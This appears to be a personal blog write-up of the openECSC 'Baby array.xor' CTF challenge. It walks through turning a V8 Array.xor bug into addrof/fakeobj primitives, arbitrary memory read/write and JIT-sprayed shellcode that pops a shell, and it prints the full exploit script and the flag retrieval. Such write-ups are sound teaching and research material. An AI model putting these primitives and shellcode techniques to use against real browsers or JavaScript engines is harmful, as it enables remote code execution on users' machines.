Despite having 7 Chrome CVEs, I've never actually exploited a memory corruption in its V8 JavaScript engine before. Baby array.xor, a challenge at this year's openECSC CTF, was my first time going from a V8 bug to popping a /bin/sh shell.
Most V8 exploits tend to have two stages to them - figuring out a unique way to trigger some sort of a memory corruption of at least one byte, and then following a common pattern of building upon that corruption to read arbitrary addresses (addrof), create fake objects (fakeobj), and eventually reach arbitrary code execution. This challenge was no different.
Quite the peculiar feature. It may seem a little confusing if you aren't familiar with IEEE 754doubles, but it makes sense once we look at the hex representations of the values:
It pretty much just interprets the double as an integer, and then performs the XOR operation on it. In this example we XORed the doubles with 0x539 (1337 in decimal), so the last three hex digits of each double changed. It's a pretty silly operation to perform on a double.
Just XORing doubles isn't going to get us anywhere though, since the values are stored in a doubles array (PACKED_DOUBLE_ELEMENTS1) as just raw 64-bit doubles. All we can do is change some numbers around, but that's something we can already do without xor. It'd be a lot more interesting if we could run this xor thingie on a mixed array (PACKED_ELEMENTS) consisting of memory pointers to other JavaScript objects, because we could point the pointers to places in memory we're not supposed to.
Alright, let's try an array with an object in it then:
arr = [0.1, 0.2, {}] // PACKED_ELEMENTS array
arr.xor(1337)
TypeError: Array.xor needs array of double numbers
Hmm, seems like there's a check in-place to prevent us from doing this:
if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, JSArray::cast(*receiver))) {THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,factory->NewStringFromAsciiChecked("Nope")));}
The IsJSArray method makes sure that we are in fact passing an array, and the HasOnlySimpleReceiverElements method checks for anything sus2 within the array or it's prototype.
Hmmph, this seems pretty well coded so far. There is no way for us to get anything other than a basic double array past these checks, and XORing such an array isn't going to accomplish anything. I went on to carefully examine other parts of the code for any possible flaws.
The length of the array gets stored in a uint32_t, and I thought that perhaps we could overflow this value, but it turns out you can't make an array that big:
arr = newArray(2**32)
RangeError: Invalid array length
I also tried messing with the length value, but v8 doesn't allow us to do that in a way that could be of use here:
arr = [1.1, 2.2, 3.3]
arr.length = "evil"
RangeError: Invalid array length
arr.__defineGetter__("length", () => 1337)
TypeError: Cannot redefine property: length
arr.length = 1337// uh oh, our array is now a HOLEY_DOUBLE_ELEMENTS
arr.xor(1337)
TypeError: Array.xor needs array of double numbers
And then it hit me - we're only doing all those fancy checks on the array itself, but not the argument! We get the xor argument (Object::ToNumber(isolate, args.at(1))) after we're already past all the previous array checks, so perhaps we could turn the xor argument evil and put an object in the double array once we're already past the initial checks? Let's give it a shot:
Now that we've found a way to put some objects in an array and mess with their pointer, we must figure out a way to turn them into primitives we can actually use. There are a few different ways to accomplish this from here. I'll go with the path I took originally, but see if you can figure out any other ways to get there - I'll share a couple (arguably better ones) at the end of the post.
But first, we should look at how v8 stores stuff in the memory so that we can figure out what our memory corruption looks like and what we can do with it. How could we do that?
With the d8 natives syntax and a debugger! If we launch d8 (the v8 shell) with the --allow-natives-syntax flag, we can use various debug functions such as %DebugPrint(obj) to examine what's going on with objects, and if we combine that with a debugger (gdb in this case) we can even check out the entire memory to understand it better. Let's try it:
$ gdb --args ./d8 --allow-natives-syntax<-- use d8 with the natives syntax in gdb
GNU gdb (GDB) 14.2
(gdb) run<-- start d8
Starting program: /home/lyra/Desktop/array.xor/dist/d8 --allow-natives-syntax
V8 version 12.7.0 (candidate)
d8> arr = [1.1, 2.2, 3.3]<-- create an array
[1.1, 2.2, 3.3]
d8> %DebugPrint(arr)<-- debugprint the array
DebugPrint: 0xa3800042be9: [JSArray] <-- we get the address here
- map: 0x0a38001cb7c5 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x0a38001cb11d <JSArray[0]>
- elements: 0x0a3800042bc9 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x0a3800000725 <FixedArray[0]>
- All own properties (excluding elements): {
0xa3800000d99: [String] in ReadOnlySpace: #length: 0x0a3800025f85 <AccessorInfo name= 0x0a3800000d99 <String[6]: #length>, data= 0x0a3800000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
}
- elements: 0x0a3800042bc9 <FixedDoubleArray[3]> {
0: 1.1
1: 2.2
2: 3.3
}
0xa38001cb7c5: [Map] in OldSpace
- map: 0x0a38001c01b5 <MetaMap (0x0a38001c0205 <NativeContext[295]>)>
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- unused property fields: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- enum length: invalid
- back pointer: 0x0a38001cb785 <Map[16](HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x0a3800000a89 <Cell value= 1>
- instance descriptors #1: 0x0a38001cb751 <DescriptorArray[1]>
- transitions #1: 0x0a38001cb7ed <TransitionArray[4]>
Transition array #1:
0x0a3800000e5d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x0a38001cb805 <Map[16](HOLEY_DOUBLE_ELEMENTS)>
- prototype: 0x0a38001cb11d <JSArray[0]>
- constructor: 0x0a38001cae09 <JSFunction Array (sfi = 0xa380002b2f9)>
- dependent code: 0x0a3800000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
[1.1, 2.2, 3.3]
d8> ^Z<-- suspend d8 (ctrl+z) to get to gdb
Thread 1 "d8" received signal SIGTSTP, Stopped (user).
0x00007ffff7da000a in read () from /usr/lib/libc.so.6
(gdb) x/8xg 0xa3800042be9-1<-- examine the array's address
0xa3800042be8: 0x00000725001cb7c5 0x0000000600042bc9
0xa3800042bf8: 0x00bab9320000010d 0x7566280a00000adc
0xa3800042c08: 0x29286e6f6974636e 0x20657375220a7b20
0xa3800042c18: 0x3b22746369727473 0x6d2041202f2f0a0a
(gdb)
In this example I made an array, used DebugPrint to see it's address, and then used gdb's x/8xg3 command to see the memory around that address. Going forward I'll be cleaning up the examples shown in the writeup, but this is essentially how you can follow along at home.
You'll notice I subtracted 1 from the memory address before viewing it - that's because of tagged pointers! In a PACKED_ELEMENTS array (and many other V8 structures), SMIs (SMall Integers) that end with a 0 bit (even) are shifted and stored directly, but everything ending with a 1 bit (odd) gets interpreted as a pointer, so a pointer to 0x1000 gets stored as 0x1001. Because of this, we have to subtract 1 from all tagged pointers before checking out their address.
But let's try to understand what the gdb output above means:
The array is at 0xa3800042be8, its properties list is empty, it's a PACKED_DOUBLE_ELEMENTS array with a length of 34 at 0xa3800042bc8. At that address we find a FixedDoubleArray with a length of 3 (again) and the doubles 1.1, 2.2, and 3.3.
Try hovering overtapping on the text and stuff above. You'll see what the memory values mean and how they're represented in the %DebugPrint output.
You may be wondering why the memory only contains half the address - 0xa3800042bc8 is stored as 0x00042bc9 for example. This is V8's pointer compression and for our purposes all it does is make pointers be just the lower 32 bits of an address.
Pretty cool, let's see what happens if we put an array inside of another array:
The PACKED_ELEMENTS array is at 0xa3800044a30, its 1 element is at 0xa3800044a24 in a FixedArray[1] and the element is a pointer to the previous array at 0xa3800042be8.
The memory order of the elements part here looks a little odd because it doesn't align with the 64-bit words and we're looking at little endian memory. This is a bit counter-intuitive because instead of reading the offset value as 0x0000000011112222 0x3333444400000000 you have to read it as 0x3333444400000000 0x0000000011112222.
Here's a fun little widget to play around with the concept:
The array in our array is just stored as a pointer to that array! At the moment it is pointing at 0xa3800042be8 which has our double array, but if we XOR this pointer to a different address we can make it point to any array or object we want... even if it doesn't "actually" exist!
Let's try to make a new array appear out of thin air. To do that, we have to put something in the memory that looks like an array, and then use XOR to point a pointer to it. I'm going to reuse the header of our first array at 0xa3800042be8, changing the memory addresses to match our new fake array.
Fake PACKED_DOUBLE_ELEMENTS array with an empty properties list, with 128 elements at 0x???00042bd0. At that address we will have a FixedDoubleArray with a length of 128.
That looks like a pretty good fake! And the length of 128 elements is a bonus - letting us read and write far more than we should be able to. To put this fake array in the memory, we must first convert it into floats so we can use it within an array. There are many ways to do that, but the easiest method within JavaScript is to share the same ArrayBuffer between a Float64Array and a BigUint64Array.
Pretty easy! You'll notice I appended an n to our hex value - this is just to convert it to a BigInt, which is required for the BigUint64Array but also gives us better accuracy in general5.
So our original real array starts at 0xa3800042be8, and we have our cool new fake array in the memory at 0xa3800042bd8, so what we can do now is put our real array in a third array with the evil getter trick, and then XOR the pointer to make it point to the fake array.
That's so cool!! It really is just picking up the next 1024 bytes of memory as doubles, letting us see it all by just looking at the array. In fact, we can even see the original arr array's header in elements 2 and 3, let's try to read it out from within JavaScript. We'll want a function to turn floats back into hex, for that we can just create the reverse of the i2f function from earlier.
Received signal 11 SEGV_ACCERR 0a381337133e
==== C stack trace ===============================
[0x555557b9ea23]
[0x555557b9e972]
[0x7ffff7cdae20]
[0x555556d3190b]
[0x555557a12ff6]
[end of stack trace]
Segmentation fault (core dumped)
Whoops, yeah... there's the rub. The memory we're playing with is rather fragile and randomly changing stuff around is going to end up with a crash.
We'll have to be a bit more careful going forward if we want to end up with anything more than a segmentation fault. And there's more to worry about later down the line because v8 also has a garbage collector that likes to swoop in every once in a while to rearrange the memory.
This is a good time to figure out a plan for getting our primitives cooked up though.
Part 3: Cooking up some primitives
In JavaScript exploitation, a memory corruption is usually turned into the addrof and fakeobj primitives. addrof is a function that tells us the address of a JavaScript object, and fakeobj is a function that returns a pointer to a memory address to be interpreted as an object, similar to what we did to create our fake array earlier.
Let's take our research so far and wrap it up in a nice little script.
// set up helper stuffconstbuffer = newArrayBuffer(8);
constfloatBuffer = newFloat64Array(buffer);
constint64Buffer = newBigUint64Array(buffer);
// bigint to doublefunctioni2f(i) {
int64Buffer[0] = i;
returnfloatBuffer[0];
}
// double to bigintfunctionf2i(f) {
floatBuffer[0] = f;
returnint64Buffer[0];
}
// bigint to 32-bit hex stringfunctionhex32(i) {
return"0x" + i.toString(16).padStart(8, 0);
}
// bigint to 64-bit hex stringfunctionhex64(i) {
return"0x" + i.toString(16).padStart(16, 0);
}
// set up variablesconstarr = [1.1, 2.2, 3.3];
consttmpObj = {a: 1};
constobjArr = [tmpObj];
// check the address of arr
%DebugPrint(arr);
// set up the fake arrayconstarrAddr = 0x12345678n;
constarrElementsAddr = arrAddr - 0x20n;
constfakeAddr = arrElementsAddr + 0x10n;
constfakeElementsAddr = arrElementsAddr + 0x8n;
arr[0] = i2f(0x00000100000008a9n);
arr[1] = i2f(0x00000725001cb7c5n);
arr[2] = i2f(0x0000010000000000n + fakeElementsAddr);
// do the exploitconsttmp = [1.1];
constevil = {
valueOf: () => {
tmp[0] = arr;
returnNumber(arrAddr ^ fakeAddr);
}
};
tmp.xor(evil);
// this is the fake 128-element arrayconstoob = tmp[0];
// print out the data in the fake arrayfor (leti = 0; i < oob.length; i++) {
constaddr = hex32(fakeElementsAddr + BigInt(i + 1)*0x8n - 1n);
constval = hex64(f2i(oob[i]));
console.log(`${addr}: ${val}`);
}
The beginning of the script sets up some helper functions. Then we create an array to store our fake array in as before, and also another array that has a random object in it.
To set up the fake array, we must know where our real array is at in memory. There are ways to accomplish this, but for now we'll just run %DebugPrint and use its output to change the arrAddr value in the code to what the memory address should be. This approach works okay in a controlled environment like ours (we'll need to keep updating the address as we change the code), but breaks apart when attacking browsers in the real world. I'll show how to overcome this shortcoming later in the post.
We can then guess how the rest of the memory lines up and use offsets to set a few other variables, such as the fakeElementsAddr which we add to the header of the fake array so that it points to where the fake array's elements are.
Once everything's set up we do the xor exploit thing and end up with the fake array in tmp[0]. We assign it to the oob variable for convenience and print its memory out in a format similar to the gdb output. Let's run it!
Neat! If we stare at the patterns in the memory we can make out the other arrays and stuff we initialized earlier. And if you think about it, we pretty much already have the addrof and fakeobj primitives here. At index 10, we can get the address of the object currently in objArr, so if we put an object of our choice in that array we can see its address. And if we put an address to an object at that index, we'll be able to access it through the objArr array. That'll be our addrof and fakeobj!
Let's write the primitives to get and set the upper 32 bits:
Time to try them out! Let's do an experiment where we first try to get the address of our fake array, and then turn that address into a new pointer to that array.
Sweet! The pointer addresses here are tagged, so they're 1 bigger than the actual memory locations. We could make addrof and fakeobj subtract and add 1 to see and use the actual memory addresses, but it's a matter of taste.
Lastly we'll want to create primitives to arbitrarily read and write memory. To do that, we can create a new array, point it at any memory location we desire, and then read or write its first element. Although we did set the length of an array in two separate memory locations earlier, it turns out this isn't always required depending on what we want to do. If we just want to read or write a single double, we can just specify the desired address in the array header and it'll do the trick.
We've done the impossible! Imagine how much we're gonna be able to speed up the performance of our webapps by running this exploit and making strings mutable.
Part 4: Code execution
So we can read and write any memory, how do we turn this into code execution?
We'd probably want to start by looking at how code gets stored and run for functions and stuff.
Ooh we've got something called code there! But it's some sort of InterpreterEntryTrampoline, what's that?
Looking it up, it seems like it's bytecode generated by Ignition. This V8-specific bytecode is run by a VM and is made specifically for JavaScript. It won't be much use to us because we want to run computer code that can hack a computer, not chrome code that can hack a website. Looking further into V8 docs we find Maglev and Turbofan, the latter of which seems like a great fit for us because it compiles into machine code.
But our function is still the trampoline thing! How do we turn it into a turbofan thing?
We need to make V8 think it's important to optimize our code by running it a lot of times, or using debug commands. If we still have the V8 natives syntax enabled from earlier, we can use %PrepareFunctionForOptimization() and %OptimizeFunctionOnNextCall() to do the trick.
Awesome, we have a code object that points to an address where the code gets run from, and we can change it to whatever we want. Let's make a part of the memory just the 0xCC INT3 breakpoint opcode - this will temporarily pause the execution and send a SIGTRAP signal to gdb so we can look into the current state.
Received signal 11 SEGV_ACCERR 2d7a00050061
Segmentation fault (core dumped)
Huh, that didn't work, why is that?
The SEGV_ACCERR signal gives us a hint - it means that there was some sort of a permissions error accessing the memory map. It turns out not all memory is made equal and different parts of the memory have different permissions. In Linux we can see this by looking at the map of a process.
These are all the memory addresses d8 uses, and each one of them has permissions associated with them - read, write, and execute respectively. The array we made is in one of the read-write maps, so trying to execute code from there is going to result in a crash. We'll need to write into a map with execute permissions.
But how are we going to write data into that one memory map that does have the rwx permissions? We cannot use our write primitive because it can only write into the lower 32 bits our compressed pointer can access.
In figuring this out, I came across this awesome writeup by Anvbis demonstrating how we can use Turbofan to do exactly that through a very clever trick. I'll be borrowing heavily from that post, but it goes a lot more in-depth so please check it out if this sounds interesting.
What Anvbis did was create a function with doubles in it, and those doubles got Turbofan-optimized into bytes in the rwx area. They could then offset the instruction start pointer to start execution from those doubles instead of the original code.
Let's see if we can trigger an INT3 breakpoint this way.
i2f(0xCCCCCCCCCCCCCCCCn)
-9.255963134931783e+61
functionint3() {
return [
-9.255963134931783e+61, // i changed-9.255963134931784e+61, // every line-9.255963134931785e+61, // a little-9.255963134931786e+61, // so that-9.255963134931787e+61, // the doubles-9.255963134931788e+61, // wouldn't get-9.255963134931789e+61, // optimized-9.255963134931780e+61// into one
]
}
Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.
0x00005555b7941b53 in ?? ()
(gdb)
Perfect! We found the place in the rwx memory our 0xCC instruction got moved to, and then successfully redirected the execution to that point. The only problem is that our doubles in the memory are not directly one after another - there's some other instructions in-between and we must deal with that somehow.
The solution to that is creating some very special shellcode that carefully jumps from one double to the next in a way where our code is the only code getting executed. Anvbis' writeup does a way better job of explaining this than I ever could, so go check it out!
lyra@horse:~$ whoami
lyra
lyra@horse:~$ fortune
You have a deep interest in all that is artistic.
lyra@horse:~$
We got shell!!! We're almost there, except...
Part 5: Please don't collect the garbage
We're still reliant on the %PrepareFunctionForOptimization() and %OptimizeFunctionOnNextCall() debug functions. We can't use them in the actual CTF, so let's try to replace them.
We want to somehow tell V8 to optimize our function with Turbofan, and the easiest way to accomplish that is to just run our function a lot of times, let's give it a shot!
Let's try again with some debug logging and the --trace-gc flag added.
$ gdb --args ./d8 --trace-gc --allow-natives-syntax exploit.js
GNU gdb (GDB) 14.2
(gdb) run
Optimizing shellcode() into TURBOFAN
[3735:0x555557e0a000] 61 ms: Scavenge 1.1 (1.8) -> 0.1 (2.8) MB, pooled: 0 MB, 14.69 / 0.00 ms (average mu = 1.000, current mu = 1.000) allocation failure;
[3735:0x555557e0a000] 79 ms: Scavenge 1.1 (3.0) -> 0.1 (3.0) MB, pooled: 0 MB, 16.18 / 0.00 ms (average mu = 1.000, current mu = 1.000) allocation failure;
[3735:0x555557e0a000] 96 ms: Scavenge 1.1 (3.0) -> 0.1 (3.0) MB, pooled: 0 MB, 16.78 / 0.00 ms (average mu = 1.000, current mu = 1.000) allocation failure;
[3735:0x555557e0a000] 111 ms: Scavenge 1.1 (3.0) -> 0.1 (3.0) MB, pooled: 0 MB, 14.87 / 0.00 ms (average mu = 1.000, current mu = 1.000) allocation failure;
[3735:0x555557e0a000] 123 ms: Scavenge 1.1 (3.0) -> 0.1 (3.0) MB, pooled: 0 MB, 11.77 / 0.00 ms (average mu = 1.000, current mu = 1.000) allocation failure;
[3735:0x555557e0a000] 136 ms: Scavenge 1.1 (3.0) -> 0.1 (3.0) MB, pooled: 0 MB, 12.39 / 0.00 ms (average mu = 1.000, current mu = 1.000) allocation failure;
[3735:0x555557e0a000] 155 ms: Scavenge 1.1 (3.0) -> 0.1 (3.0) MB, pooled: 0 MB, 18.08 / 0.00 ms (average mu = 1.000, current mu = 1.000) allocation failure;
[3735:0x555557e0a000] 177 ms: Scavenge 1.1 (3.0) -> 0.1 (3.0) MB, pooled: 0 MB, 9.98 / 0.00 ms (average mu = 1.000, current mu = 1.000) allocation failure;
[3735:0x555557e0a000] 185 ms: Scavenge 1.1 (3.0) -> 0.1 (3.0) MB, pooled: 0 MB, 7.04 / 0.00 ms (average mu = 1.000, current mu = 1.000) allocation failure;
[3735:0x555557e0a000] 191 ms: Scavenge 1.1 (3.0) -> 0.1 (3.0) MB, pooled: 0 MB, 6.31 / 0.00 ms (average mu = 1.000, current mu = 1.000) allocation failure;
DebugPrint: 0x298a001d4011: [Function] in OldSpace
- code: 0x39bb002005e5 <Code TURBOFAN>
funcAddr: 0x00043999
codeAddr: 0x00000725
instructionStart: 0x00000725
Writing shellcode
Running shellcode
[Thread 0x7ffff74986c0 (LWP 3739) exited]
[Thread 0x7ffff6c976c0 (LWP 3740) exited]
[Thread 0x7ffff7c996c0 (LWP 3738) exited]
[Inferior 1 (process 3735) exited normally]
(gdb)
Hmm, so our code gets optimized into Turbofan just fine, but the funcAddr is all wrong! It seems like the for loop causes the garbage collector to run, and what the garbage collector does is look at all the stuff in the memory and rearrange it to look nicer. More specifically, it identifies objects no longer in use, removes them, and also defragments the memory.
What this means for us is that it takes our cool oob array and all the other stuff we've set up and throws it all over the place. Our primitives no longer work! In my original exploit at the CTF I fought hard against the GC and eventually found a setup that worked regardless, but it was a bit unreliable. Wouldn't it be nice if we could somehow optimize our function without causing a GC?
I wasn't able to find a way to do this with Turbofan, but perhaps we could try out that Maglev thing we ignored earlier? Its output is a bit different, so we'll have to change our offsets, but since Maglev too compiles into machine code it should still work the same.
With that added, we have our final exploit code.
// set up helper stuffconstbuffer = newArrayBuffer(8);
constfloatBuffer = newFloat64Array(buffer);
constint64Buffer = newBigUint64Array(buffer);
// bigint to doublefunctioni2f(i) {
int64Buffer[0] = i;
returnfloatBuffer[0];
}
// double to bigintfunctionf2i(f) {
floatBuffer[0] = f;
returnint64Buffer[0];
}
// bigint to 32-bit hex stringfunctionhex32(i) {
return"0x" + i.toString(16).padStart(8, 0);
}
// bigint to 64-bit hex stringfunctionhex64(i) {
return"0x" + i.toString(16).padStart(16, 0);
}
// set up variablesconstarr = [1.1, 2.2, 3.3];
consttmpObj = {a: 1};
constobjArr = [tmpObj];
// nabbed from Popax21functionobj2ptr(obj) {
vararr = [13.37];
arr.xor({
valueOf: function() {
arr[0] = {}; //Transition from PACKED_DOUBLE_ELEMENTS to PACKED_ELEMENTSarr[0] = obj;
return1; //Clear the lowest bit -> compressed SMI
}
});
return (arr[0] << 1) | 1;
}
// set up the fake arrayconstarrAddr = BigInt(obj2ptr(arr));
constarrElementsAddr = arrAddr - 0x20n;
constfakeAddr = arrElementsAddr + 0x10n;
constfakeElementsAddr = arrElementsAddr + 0x8n;
arr[0] = i2f(0x00000100000008a9n);
arr[1] = i2f(0x00000725001cb7c5n);
arr[2] = i2f(0x0000010000000000n + fakeElementsAddr);
// do the exploitconsttmp = [1.1];
constevil = {
valueOf: () => {
tmp[0] = arr;
returnNumber(arrAddr ^ fakeAddr);
}
};
tmp.xor(evil);
// this is the fake 128-element arrayconstoob = tmp[0];
// set up addrof/fakeobj primitivesfunctionaddrof(o) {
objArr[0] = o;
returnf2i(oob[10]) >> 32n;
}
functionfakeobj(a) {
consttemp = f2i(oob[10]) & 0xFFFFFFFFn;
oob[10] = i2f(temp + (a << 32n));
returnobjArr[0];
}
// set up read/write primitivesfunctionread(addr) {
constreadArr = [1.1, 2.2];
readArr[0] = i2f(0x00000725001cb7c5n);
readArr[1] = i2f(0x0000000200000000n + addr - 0x8n);
returnf2i(fakeobj(addrof(readArr) - 0x10n)[0]);
}
functionwrite(addr, data) {
constwriteArr = [1.1, 2.2];
writeArr[0] = i2f(0x00000725001cb7c5n);
writeArr[1] = i2f(0x0000000200000000n + addr - 0x8n);
constfakeArr = fakeobj(addrof(writeArr) - 0x10n);
fakeArr[0] = i2f(data);
}
// set up the shellcode functionfunctionshellcode() {
// nabbed from Anvbisreturn [
1.9711828979523134e-246,
1.9562205631094693e-246,
1.9557819155246427e-246,
1.9711824228871598e-246,
1.971182639857203e-246,
1.9711829003383248e-246,
1.9895153920223886e-246,
1.971182898881177e-246
]
}
// turn the shellcode into maglevfor (leti = 0; i < 10000; i++) {
shellcode();
}
// redirect the function start to our shellcodefuncAddr = addrof(shellcode)
codeAddr = read(funcAddr + 0x8n) >> 32ninstructionStart = codeAddr + 0x14nwrite(instructionStart, read(instructionStart) + 0x7fn);
shellcode();
Let's get the flag!
$ nc arrayxor.challs.open.ecsc2024.it 38020
Do Hashcash for 24 bits with resource "k2v9WzPBJK2N"
https://pow.cybersecnatlab.it/?data=k2v9WzPBJK2N&bits=24
or
hashcash -mCb24 "k2v9WzPBJK2N"
Result: 1:24:240525:k2v9WzPBJK2N::KmFvCdJ0h09D4MEm:00002QUYY
Send me your js exploit b64-encoded followed by a newline
Ly8gc2V0IHVwIGhlbHBlciBzdHVmZgpjb25zdCBidWZmZXIgPSBuZXcgQ...
cat flag
;openECSC{t00_e5zy_w1th0ut_s4nb0x_gg_wp_5ec4376e}
gg.
Part 6: What could've been
Since this was my first time doing anything like this I made a few "mistakes" along the way. I think that's really the best way to learn, but I promised to show you a few different ways my exploit could've been significantly improved.
The first thing is something I've already implemented in the final exploit code above - the obj2ptr function I nabbed from Popax21's exploit code. Originally, I used %DebugPrint(arr) to see the address of the arr array on every run to change the code accordingly, but there's a pretty easy way to not have to do that at all!
// snippet from Popax21's exploit codefunctionobj2ptr(obj) {
vararr = [13.37];
arr.xor({
valueOf: function() {
arr[0] = {}; //Transition from PACKED_DOUBLE_ELEMENTS to PACKED_ELEMENTSarr[0] = obj;
return1; //Clear the lowest bit -> compressed SMI
}
});
return (arr[0] << 1) | 1;
}
functionptr2obj(ptr) {
vararr = [13.37];
arr.xor({
valueOf: function() {
arr[0] = {}; //Transition from PACKED_DOUBLE_ELEMENTS to PACKED_ELEMENTSarr[0] = (ptr >> 1);
return1; //Set the lowest bit -> compressed pointer
}
});
returnarr[0];
}
Since the difference between a pointer and an SMI is just the last bit, we can put any object or pointer into an array, xor its last bit, and get out the pointer or object accordingly. While I only used those functions in my example exploit code to get the initial address of arr, they are pretty much equal to the full addrof and fakeobj primitives! Beautiful.
Another approach to exploiting the xor I saw in a few solves was changing the length of the array to something small, then forcing a GC to defragment some other object into a region beyond past the array, and then changing the length back to a big amount to get an out-of-bounds read/write. This approach was probably quite brutal to work with, but earned rdjgr their first blood6.
As for the code execution part, pretty much everyone went for a wasm rwx route instead of going through all the trouble I did to optimize a function into Maglev/Turbocode. Therearealotofwrite-ups for the wasm route, so I felt it'd be more fun to write about a different approach, and it was the approach I took at the original CTF either way.
In case you're wondering what my original code at the CTF looked like, it was this:
Not as pretty as the one I eventually made for this writeup, but hey, I got the flag, and secured a place in the top 10 of the overall competition!
Footnotes
PACKED_DOUBLE_ELEMENTS means that the array consists of doubles only, and it also doesn't have any empty "holes". A double array with holes would be HOLEY_DOUBLE_ELEMENTS instead. ↩
HasOnlySimpleReceiverElements makes sure that there are no accessors on any of the elements, and that the array's prototype hasn't been modified. ↩
x/8xg stands for: e(x)amine (8) he(x)adecimal (g)iant words (64-bit values). I recommend checking out a reference to see other ways this command can be used. ↩
In memory, the length of the array appears as twice what it really is (eg 6 instead of 3) because SMIs need to end with a 0 bit or they'll become a tagged pointer. If the length of an array was over 231-1 we'd see a pointer to a double instead. ↩
JavaScript floating-point numbers can only accurately represent integers up to 253–1. You can have larger numbers, but they won't be accurate. BigInts are a separate data type that doesn't have this issue - they can be infinitely big while still being accurate! Well, perhaps not infinitely big, but in V8 their size can be over a billion bits, which would be about 128MiB of just a single number. ↩
In CTF competitions, a "first blood" is the first (and often fastest) solve of a challenge. ↩